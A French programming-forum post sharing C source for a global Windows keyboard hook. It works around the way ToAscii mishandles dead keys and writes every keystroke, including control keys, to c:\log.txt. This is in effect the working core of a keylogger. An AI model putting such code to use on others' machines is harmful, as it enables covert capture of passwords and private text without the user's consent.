[hook clavier] fichier texte avec gestion des dead keys [dev-c++ 4.9.8.10]

Description

On trouve pas mal de code source sur Internet pour un hook clavier global sous Windows. La fonction SetWindowsHookEx est plutôt bien détaillée.

Malheureusement, je n'ai trouvé aucun hook qui gère les DEAD KEY. Il s'agit des touches qu'on doit combiner avec une autre, comme les accents circonflexes, les tremas, etc ... pour ne former qu'un caractère.

Avec un hook clavier traditionnel, en tapant "^" puis "e" dans une application comme le Notepad, j'obtenais soit "^^e", soit "e". Par contre, dans le fichier log, j'obtenais souvent "ê".

L'erreur vient de la fonction ToAscii, largement utilisée avec les hooks clavier, pour traduire un nombre en un caractère (caractère qu'on écrit ensuite dans un fichier texte). Cette fonction bug royalement lorsqu'il s'agit de gérer les DEAD KEY.

La solution que je propose est de savoir si le caractère qu'on traite est un DEAD KEY. Si c'est le cas, on ne doit pas faire d'appel à la fonction ToAscii, mais plutôt à une fonction équivalente : GetKeyNameText (elle ne gère pas les minuscules).

Je propose un extrait du code. Le zip contient la DLL (je crois que c'est indispensable pour un hook global) et l'EXE pour l'utiliser.

Source / Exemple :


//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------

BOOL is_dead_key ( int wparam )
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 retourne 0x8000, NT retourne 0x80000000
    return (code & 0x80008000) ? TRUE : FALSE;
}

//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée   : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée  : bit 31 [TRUE]  bit 30 [TRUE]
// scancode         : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
    BYTE KeyState[256];                 // Etat des 256 touches du clavier
    static BOOL deadkey;                // Est-ce qu'on a traité une DEAD KEY
    WORD Char=0;                        // Buffer pour la traduction de la touche (ToAscii)
    char nomTouche[256];                // Buffer pour la traduction de la touche (GetKeyNameText)

    // On ne fait rien dans ce cas (cf aide API)
    if ( nCode < 0 || nCode == HC_NOREMOVE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

    // Pour éviter les répétitions
    // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
    if ( ((DWORD)lParam & 1<<30) != FALSE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
        
    // Si c'est une DEAD KEY, on passe notre chemin
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey = TRUE;
        myfprintf ( "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }

    switch(wParam)
    {
    case VK_BACK    : myfprintf ( "[BKSP]" );   break;  // 0x08
    case VK_TAB     : myfprintf ( "[TAB]" );    break;  // 0x09
    case VK_RETURN  : myfprintf ( "[ENTER]\r\n" );break;  // 0x0D
    case VK_SHIFT   :                           break;  // 0x10
    case VK_CONTROL : myfprintf ( "[CTRL]" );   break;  // 0x11
    case VK_MENU    : myfprintf ( "[ALT]" );    break;  // 0x12
    case VK_PAUSE   : myfprintf ( "[PAUSE]" );  break;  // 0x13
    case VK_CAPITAL :                           break;  // 0x14
    case VK_ESCAPE  :                           break;  // 0x1B
    case VK_PRIOR   : myfprintf ( "[PGUP]" );   break;  // 0x21
    case VK_NEXT    : myfprintf ( "[PGDN]" );   break;  // 0x22
    case VK_END     : myfprintf ( "[END]" );    break;  // 0x23
    case VK_HOME    : myfprintf ( "[HOME]" );   break;  // 0x24
    case VK_LEFT    : myfprintf ( "[LEFT]" );   break;  // 0x25
    case VK_UP      : myfprintf ( "[UP]" );     break;  // 0x26
    case VK_RIGHT   : myfprintf ( "[RIGHT]" );  break;  // 0x27
    case VK_DOWN    : myfprintf ( "[DOWN]" );   break;  // 0x28
    case VK_SNAPSHOT: myfprintf ( "[SNAP]" );   break;  // 0x2C
    case VK_INSERT  :                           break;  // 0x2D
    case VK_DELETE  : myfprintf ( "[DEL]" );    break;  // 0x2E
    case VK_LWIN    : myfprintf ( "[LWIN]" );   break;  // 0x5B
    case VK_RWIN    : myfprintf ( "[RWIN]" );   break;  // 0x5C
    case VK_APPS    : myfprintf ( "[APPS]" );   break;  // 0x5D
    case VK_NUMPAD0 : myfprintf ( "[NUM0]" );   break;  // 0x60
    case VK_NUMPAD1 : myfprintf ( "[NUM1]" );   break;  // 0x61
    case VK_NUMPAD2 : myfprintf ( "[NUM2]" );   break;  // 0x62
    case VK_NUMPAD3 : myfprintf ( "[NUM3]" );   break;  // 0x63
    case VK_NUMPAD4 : myfprintf ( "[NUM4]" );   break;  // 0x64
    case VK_NUMPAD5 : myfprintf ( "[NUM5]" );   break;  // 0x65
    case VK_NUMPAD6 : myfprintf ( "[NUM6]" );   break;  // 0x66
    case VK_NUMPAD7 : myfprintf ( "[NUM7]" );   break;  // 0x67
    case VK_NUMPAD8 : myfprintf ( "[NUM8]" );   break;  // 0x68
    case VK_NUMPAD9 : myfprintf ( "[NUM9]" );   break;  // 0x69
    case VK_MULTIPLY: myfprintf ( "*" );        break;  // 0x6A
    case VK_ADD     : myfprintf ( "+" );        break;  // 0x6B
    case VK_SUBTRACT: myfprintf ( "-" );        break;  // 0x6D
    case VK_DECIMAL : myfprintf ( "." );        break;  // 0x6E
    case VK_DIVIDE  : myfprintf ( "/" );        break;  // 0x06
    case VK_F1      : myfprintf ( "[F1]" );     break;  // 0x70
    case VK_F2      : myfprintf ( "[F2]" );     break;  // 0x71
    case VK_F3      : myfprintf ( "[F3]" );     break;  // 0x72
    case VK_F4      : myfprintf ( "[F4]" );     break;  // 0x73
    case VK_F5      : myfprintf ( "[F5]" );     break;  // 0x74
    case VK_F6      : myfprintf ( "[F6]" );     break;  // 0x75
    case VK_F7      : myfprintf ( "[F7]" );     break;  // 0x76
    case VK_F8      : myfprintf ( "[F8]" );     break;  // 0x77
    case VK_F9      : myfprintf ( "[F9]" );     break;  // 0x78
    case VK_F10     : myfprintf ( "[F10]" );    break;  // 0x79
    case VK_F11     : myfprintf ( "[F11]" );    break;  // 0x7A
    case VK_F12     : myfprintf ( "[F12]" );    break;  // 0x7B
    case VK_F13     : myfprintf ( "[F13]" );    break;  // 0x7C
    case VK_F14     : myfprintf ( "[F14]" );    break;  // 0x7D
    case VK_F15     : myfprintf ( "[F15]" );    break;  // 0x7E
    case VK_F16     : myfprintf ( "[F16]" );    break;  // 0x7F
    case VK_F17     : myfprintf ( "[F17]" );    break;  // 0x80
    case VK_F18     : myfprintf ( "[F18]" );    break;  // 0x81
    case VK_F19     : myfprintf ( "[F19]" );    break;  // 0x82
    case VK_F20     : myfprintf ( "[F20]" );    break;  // 0x83
    case VK_F21     : myfprintf ( "[F21]" );    break;  // 0x84
    case VK_F22     : myfprintf ( "[F22]" );    break;  // 0x85
    case VK_F23     : myfprintf ( "[F23]" );    break;  // 0x86
    case VK_F24     : myfprintf ( "[F24]" );    break;  // 0x87
    case VK_NUMLOCK :                           break;  // 0x90
    case VK_ATTN    :                           break;  // 0xF6
    default:
        // On réinitialise notre tableau
        memset ( KeyState, 0, sizeof(KeyState) );
        
        if ( GetKeyboardState ( KeyState ) )
        {
            // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
                myfprintf ( &Char );
            }
            // sinon, on doit utiliser autre chose !
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( nomTouche );
                deadkey = FALSE;
            }
        }
        break;
    }

    return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}

Conclusion :


Si vous avez une solution alternative, je suis évidemment preneur !
Sachez qu'il crée un fichier texte là : c:\log.txt

belzel [dot] free [dot] fr

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.